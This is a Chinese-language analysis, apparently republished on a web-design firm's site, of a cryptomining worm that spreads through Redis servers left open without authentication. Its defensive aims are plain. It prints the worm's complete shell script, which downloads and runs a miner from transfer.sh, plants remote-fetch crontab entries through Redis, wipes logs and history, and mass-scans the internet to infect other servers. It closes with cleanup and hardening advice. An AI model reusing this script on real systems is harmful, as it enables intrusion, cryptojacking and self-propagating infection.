LinuxRedis自動化挖礦感染蠕蟲實例分析

本文小編為大家詳細(xì)介紹“Linux redis自動化挖礦感染蠕蟲實例分析”,內(nèi)容詳細(xì),步驟清晰,細(xì)節(jié)處理妥當(dāng),希望這篇“Linux Redis自動化挖礦感染蠕蟲實例分析”文章能幫助大家解決疑惑,下面跟著小編的思路慢慢深入,一起來學(xué)習(xí)新知識吧。

在淮安區(qū)等地區(qū),都構(gòu)建了全面的區(qū)域性戰(zhàn)略布局,加強發(fā)展的系統(tǒng)性、市場前瞻性、產(chǎn)品創(chuàng)新能力,以專注、極致的服務(wù)理念,為客戶提供網(wǎng)站建設(shè)、成都網(wǎng)站建設(shè) 網(wǎng)站設(shè)計制作定制網(wǎng)站制作,公司網(wǎng)站建設(shè),企業(yè)網(wǎng)站建設(shè),成都品牌網(wǎng)站建設(shè),全網(wǎng)營銷推廣,外貿(mào)網(wǎng)站制作,淮安區(qū)網(wǎng)站建設(shè)費用合理。

  一、 背景

自從Redis未授權(quán)問題獲取Linux系統(tǒng)root權(quán)限的攻擊方法的披露后,由于其易用性,利用該問題入侵Linux服務(wù)進(jìn)行挖礦、掃描等的黑客行為一直層出不窮;而在眾多利用該問題入侵服務(wù)器進(jìn)行黑產(chǎn)行為的案例中,其中就存在一類利用該問題進(jìn)行挖礦并且會利用pnscan自動掃描感染其他機器;該類攻擊一直存在,不過在近期又呈現(xiàn)數(shù)量增加的趨勢,在最近捕獲到多次,我們針對其做下具體的分析。

  二、 漏洞說明

首先針對利用的漏洞做個說明,Redis 默認(rèn)情況下,會綁定在 0.0.0.0:6379,在沒有利用防火墻進(jìn)行屏蔽的情況下,將會將Redis服務(wù)暴露到公網(wǎng)上,如果在沒有開啟認(rèn)證的情況下,可以導(dǎo)致任意用戶在可以訪問目標(biāo)服務(wù)器的情況下未授權(quán)訪問Redis以及讀取Redis的數(shù)據(jù)。攻擊者在未授權(quán)訪問Redis的情況下利用Redis的相關(guān)方法,可以成功將自己的公鑰寫入目標(biāo)服務(wù)器的 ~/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以直接登錄目標(biāo)服務(wù)器;如果Redis服務(wù)是以root權(quán)限啟動,可以利用該問題直接獲得服務(wù)器root權(quán)限。

經(jīng)過在ZoomEye和SHODAN檢索,可以發(fā)現(xiàn)分別眾多Redis服務(wù)開放在公網(wǎng)上,這些服務(wù)都可能成為攻擊目標(biāo)。

Linux Redis自動化挖礦感染蠕蟲實例分析

Linux Redis自動化挖礦感染蠕蟲實例分析

  三、 入侵分析

Linux Redis自動化挖礦感染蠕蟲實例分析

經(jīng)過對捕獲的事件進(jìn)行分析,我們發(fā)現(xiàn)整個入侵流程大概是包含以下幾個環(huán)節(jié):1、掃描開放6379端口的Linux服務(wù)器(后續(xù)感染掃描網(wǎng)段為1.0.0.0/16到224.255.0.0/16)

2、通過redis-cli嘗試連接Redis并執(zhí)行預(yù)置在.dat文件里的利用命令將Redis的數(shù)據(jù)文件修改為/var/spool/cron/root,然后通過在Redis中插入數(shù)據(jù),將下載執(zhí)行腳本的動作寫入crontab任務(wù)

3、通過腳本實現(xiàn)以上的相關(guān)行為,完成植入并啟動挖礦程序

4、再編譯安裝pnscan,繼續(xù)掃描感染下一個目標(biāo)

 四、 腳本分析

整個入侵利用以及后續(xù)的感染的實現(xiàn),最主要的功能都是基于通過Redis問題寫入crontab任務(wù)中下載執(zhí)行的NaNd腳本(https://transfer.sh/MIpIA/tmp.9kIguIhkI7)來實現(xiàn)的,通過對它的分析,我們基本能夠得到整個流程的所有細(xì)節(jié),這是一個base腳本,我們通過解讀來分析下它的相關(guān)功能。

1. sleep 1

2. find . -maxdepth 1 -name “.mxff0” -type f -mmin +60 -delete

3. [ -f .mxff0 ] && exit 0

4. echo 0 > .mxff0

這部分代碼只要是用作重復(fù)執(zhí)行的判斷,將.mxff0文件作為標(biāo)記文件,如果存在該文件則代表機器上已執(zhí)行腳本,直接退出,否則寫.mxff0文件并進(jìn)行下一步動作;

5. trap “rm -rf .m* NaNd tmp.* .r .dat $0” EXIT

設(shè)置預(yù)置動作,在腳本退出后刪除相關(guān)文件和腳本自身;

6. setenforce 0 2>/dev/null

7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

8. crontab -r 2>/dev/null

9. rm -rf /var/spool/cron 2>/dev/null

10. grep -q 8.8.8.8 /etc/resolv.conf || echo “nameserver 8.8.8.8” >> /etc/resolv.conf

11. rm -rf /tmp/* 2>/dev/null

12. rm -rf /var/tmp/* 2>/dev/null

13. rm -rf /etc/root.sh 2>/dev/null

14. sync && echo 3 > /proc/sys/vm/drop_caches

15. cat <<EOF> /etc/security/limits.conf

16. * hard nofile 100000

17. * soft nofile 100000

18. root hard nofile 100000

19. root soft nofile 100000

20. * hard nproc 100000

21. * soft nproc 100000

22. root hard nproc 100000

23. root soft nproc 100000

24. EOF

這部分主要是修改系統(tǒng)的配置,6、7行為關(guān)閉SELINU;

然后清空/var/spool/cron,進(jìn)而判斷系統(tǒng)DNS服務(wù)器是否存在8.8.8.8,沒有則添加;

11-13則清空系統(tǒng)tmp目錄和刪除相關(guān)文件;

14行清空系統(tǒng)緩存,而15-24則是修改系統(tǒng)的資源限制;

25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT

27. ps xf | grep -v grep | grep “redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start.sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs|.sshd|/tmp/init” | while read pid _; do kill -9 “$pid”; done

這里再進(jìn)一步的增加iptables限制6379端口只允許本地訪問,同時kill相關(guān)包含挖礦、redis客戶端、爬蟲等進(jìn)程,這里的目的也比較簡單,避免被其他黑客再次入侵,同時清除可能其他黑客入侵啟動的進(jìn)程;

28. rm -rf /tmp/* 2>/dev/null

29. rm -rf /var/tmp/* 2>/dev/null

30. echo 0 > /var/spool/mail/root

31. echo 0 > /var/log/wtmp

32. echo 0 > /var/log/secure

33. echo 0 > /root/.bash_history

清除相關(guān)登錄日志、命令操作歷史;

34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”

35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl”

36. if cat /etc/*release | grep -i CentOS; then

37. yum clean all

38. yum install -y -q epel-release

39. yum install -y -q $YUM_PACKAGE_NAME

40. elif cat /etc/*release | grep -qi Red; then

41. yum clean all

42. yum install -y -q epel-release

43. yum install -y -q $YUM_PACKAGE_NAME

44. elif cat /etc/*release | grep -qi Fedora; then

45. yum clean all

46. yum install -y -q epel-release

47. yum install -y -q $YUM_PACKAGE_NAME

48. elif cat /etc/*release | grep -qi Ubuntu; then

49. export DEBIAN_FRONTEND=noninteractive

50. rm -rf /var/lib/apt/lists/*

51. apt-get update -q –fix-missing

52. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

53. elif cat /etc/*release | grep -qi Debian; then

54. export DEBIAN_FRONTEND=noninteractive

55. rm -rf /var/lib/apt/lists/*

56. apt-get update –fix-missing

57. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

58. elif cat /etc/*release | grep -qi Mint; then

59. export DEBIAN_FRONTEND=noninteractive

60. rm -rf /var/lib/apt/lists/*

61. apt-get update –fix-missing

62. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

63. elif cat /etc/*release | grep -qi Knoppix; then

64. export DEBIAN_FRONTEND=noninteractive

65. rm -rf /var/lib/apt/lists/*

66. apt-get update –fix-missing

67. for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

68. else

69. exit 1

70. fi

71. sleep 1

72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then

73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12

74. sleep 1

75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112

76. fi

這一長串的內(nèi)容主要目的是下載并編譯安裝pnscan,從內(nèi)容中我們可以看到對于不同操作系統(tǒng)的判斷然后安裝依賴的相關(guān)模塊,然后才是從github下載pnscan的源碼進(jìn)行編譯安裝;至于為什么采用編譯安裝的形式,猜測是出于兼容不同系統(tǒng)以及每次編譯生成的pnscan的MD5都不一樣,避免形成固定特征;

77. tname=$( mktemp )

78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL

80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )

81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg

這部分主要是下載挖礦程序并重命名為.gpg,增加執(zhí)行權(quán)限,執(zhí)行后刪除,同時重新上傳到https://transfer.sh/ 獲取新的鏈接;

82. [ -z “$NMURL” ] && NMURL=$OMURL

83. ncmd=$(basename $(mktemp))

84. sed ‘s|'”$OMURL”‘|'”$NMURL”‘|g’ < NaNd > $ncmd

85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )

86. echo ‘flushall’ > .dat

87. echo ‘config set dir /var/spool/cron’ >> .dat

88. echo ‘config set dbfilename root’ >> .dat

89. echo ‘set Backup1 “tn*/2 * * * * curl -s ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

90. echo ‘set Backup2 “tn*/5 * * * * wget -O NaNd ‘${NSURL}’ && bash NaNdnt”‘ >> .dat

91. echo ‘set Backup3 “tn*/10 * * * * lynx -source ‘${NSURL}’ > NaNd && bash NaNdnt”‘ >> .dat

92. echo ‘save’ >> .dat

93. echo ‘config set dir /var/spool/cron/crontabs’ >> .dat

94. echo ‘save’ >> .dat

95. echo ‘exit’ >> .dat

而這部分內(nèi)容主要是生成新的.dat文件,包含將原來NaNd腳本里的里挖礦程序的下載地址替換為上一步上傳到https://transfer.sh/ 得到的新地址,還有Redis利用的相關(guān)語句;

96. pnx=pnscan

97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

99. for x in $( seq 1 224 | sort -R ); do

100. for y in $( seq 0 255 | sort -R ); do

101. $pnx -t512 -R ‘6f 73 3a 4c 69 6e 75 78’ -W ‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’ $x.$y.0.0/16 6379 > .r.$x.$y.o

102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > .r.$x.$y.l

103. while read -r h p; do

104. cat .dat | redis-cli -h $h -p $p –raw &

105. done < .r.$x.$y.l

106. done

107. done

而步主要是調(diào)用pnscan去掃描子網(wǎng)段1.0.0.0/16到224.255.0.0/16中開放6379端口并且操作系統(tǒng)為Linux的目標(biāo),然后利用redis-cli執(zhí)行.dat中的命令,進(jìn)行下個目標(biāo)的感染;這里pnscan的-W參數(shù)值‘2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a’轉(zhuǎn)換后內(nèi)容‘*1rn$4rnINFOrn’,是向目標(biāo)Redis服務(wù)發(fā)送請求獲取Redis服務(wù)器的各種信息和統(tǒng)計數(shù)值,再通過-R參數(shù)值‘6f 73 3a 4c 69 6e 75 78′(轉(zhuǎn)換后內(nèi)容為os:Linux)判斷是否Linux系統(tǒng)。

108. echo 0 > /var/spool/mail/root 2>/dev/null

109. echo 0 > /var/log/wtmp 2>/dev/null

110. echo 0 > /var/log/secure 2>/dev/null

111. echo 0 > /root/.bash_history 2>/dev/null

112. exit 0

最后就是收尾工作,清除相關(guān)日志和命令執(zhí)行歷史,同時在腳本退出的時候會觸發(fā)腳本一開始用trap預(yù)置的動作,會做刪除操作,刪除相關(guān)文件和腳本自身(rm -rf m* NaNd tmp.* .r .dat $0)。

通過對腳本的解讀,我們基本已經(jīng)清楚整個蠕蟲的行為和入侵流程,也就是我們開始所描述的流程。

另外,通過閱讀腳本,我們發(fā)現(xiàn)雖然整個入侵流程并不是多復(fù)雜,但腳本其實有很多”工程化”的細(xì)節(jié)考慮,不得不讓人驚嘆入侵者的”考慮周到”:

1、 利用.mxff0文件做重復(fù)執(zhí)行檢驗,避免腳本的重復(fù)執(zhí)行

2、 為了增加成功性,一些環(huán)境的預(yù)處理:

a) 關(guān)閉SELINUX

b) 增加8.8.8.8的DNS

c) 清空tmp目錄

d) 清空系統(tǒng)緩存

e) 修改系統(tǒng)資源限制

3、 痕跡清除

a) 利用trap預(yù)置動作好在腳本執(zhí)行完成后刪除相關(guān)文件和腳本自身

b) 重復(fù)清除相關(guān)登錄等日志和命令執(zhí)行歷史

4、 同行預(yù)防

a) 利用iptables避免Redis服務(wù)開放在公網(wǎng)上從而導(dǎo)致再次被入侵

b) 清除同行可能遺留的入侵行為,kill相關(guān)進(jìn)程

5、 系統(tǒng)兼容性

a) 判斷操作系統(tǒng),針對性的執(zhí)行相關(guān)命令,安裝依賴包,最大限度的提高pnscan編譯安裝的成功率

b) 關(guān)閉SELINUX,通過setenforce和修改/etc/sysconfig/selinux兩種手段實現(xiàn)

c) 寫入Crontab里的下載并執(zhí)行腳本的任務(wù),通過curl、wget、lynx三種方式實現(xiàn)

d) Pnscan掃描增加操作系統(tǒng)判斷,減少沒有必要的感染嘗試

6、 特征去除,存活延續(xù)

a) Pnscan采用安裝編譯的方式,既提高在不同系統(tǒng)下的兼容性,也避免形成固定的MD5特征

b) 利用https://transfer.sh 中轉(zhuǎn),每一次感染均生成新的連接,避免固定鏈接形成固定特征

c) 下載到系統(tǒng)的相關(guān)文件均采用隨機生成的文件名

正是由于入侵者種種的”考慮周到”使得他的入侵感染的成功率能夠達(dá)到的一定的層度。

五、 安全建議

病毒清理和系統(tǒng)恢復(fù)

我們主要參考腳本的相關(guān)行為進(jìn)行對應(yīng)的行為恢復(fù)和刪除即可:

1、 關(guān)閉SELINUX,根據(jù)系統(tǒng)原環(huán)境和業(yè)務(wù)需要重新開啟SELINUX

2、 清空了/var/spool/cron,根據(jù)原先備份清空恢復(fù)

3、 修改/etc/resolv.conf增加DNS服務(wù)8.8.8.8,如無影響可不處理,或者刪除

4、 修改了系統(tǒng)資源限制(/etc/security/limits.conf),可根據(jù)備份情況恢復(fù)

5、 增加了對6379端口的Iptables規(guī)則,如果不影響業(yè)務(wù),建議保留

6、 Kill了相關(guān)進(jìn)程,檢查是否包含業(yè)務(wù)所需進(jìn)程,根據(jù)情況恢復(fù)

7、 安裝了相關(guān)包,具體列表見上文,可根據(jù)情況刪除或者如無影響可保留

8、 編譯安裝了pnscan,可刪除/usr/local/bin/pnscan

9、 清除了相關(guān)日志和tmp目錄,對系統(tǒng)無影響,可忽略

10、 啟動了挖礦進(jìn)程和pnscan掃描感染,進(jìn)程:.gpg、pnscan,直接kill

還包含了一些中間文件,雖然腳本包含相關(guān)刪除操作,但建議還是全局查找確認(rèn):.mxff0、.x112、.gpg、.dat、NaNd、.r.xx.xx.o/l、tmp.xxxx

Redis服務(wù)加固

1、 如無必要,修改bind項,不要將Redis綁定在0.0.0.0上,避免Redis服務(wù)開放在外網(wǎng),可以通過iptables或者騰訊云用戶可以通過安全組限制訪問來源

2、 在不影響業(yè)務(wù)的情況,不要以root啟動Redis服務(wù),同時建議修改默認(rèn)的6379端口,大部分針對Redis未授權(quán)問題的入侵都是針對默認(rèn)端口進(jìn)行的

3、 配置AUTH,增加密碼校驗,這樣即使開放在公網(wǎng)上,如果非弱口令的情況,黑客也無法訪問Redis服務(wù)進(jìn)行相關(guān)操作

4、 使用rename-command CONFIG “RENAME_CONFIG”重命名相關(guān)命令,這樣黑客即使在連接上未授權(quán)問題的Redis服務(wù),在不知道命令的情況下只能獲取相關(guān)數(shù)據(jù),而無法進(jìn)一步利用

讀到這里,這篇“Linux Redis自動化挖礦感染蠕蟲實例分析”文章已經(jīng)介紹完畢,想要掌握這篇文章的知識點還需要大家自己動手實踐使用過才能領(lǐng)會,如果想了解更多相關(guān)內(nèi)容的文章,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。

標(biāo)題名稱:LinuxRedis自動化挖礦感染蠕蟲實例分析
文章源于:http://bm7419.com/article12/jcisgc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站內(nèi)鏈、關(guān)鍵詞優(yōu)化、定制開發(fā)企業(yè)網(wǎng)站制作、服務(wù)器托管、軟件開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

綿陽服務(wù)器托管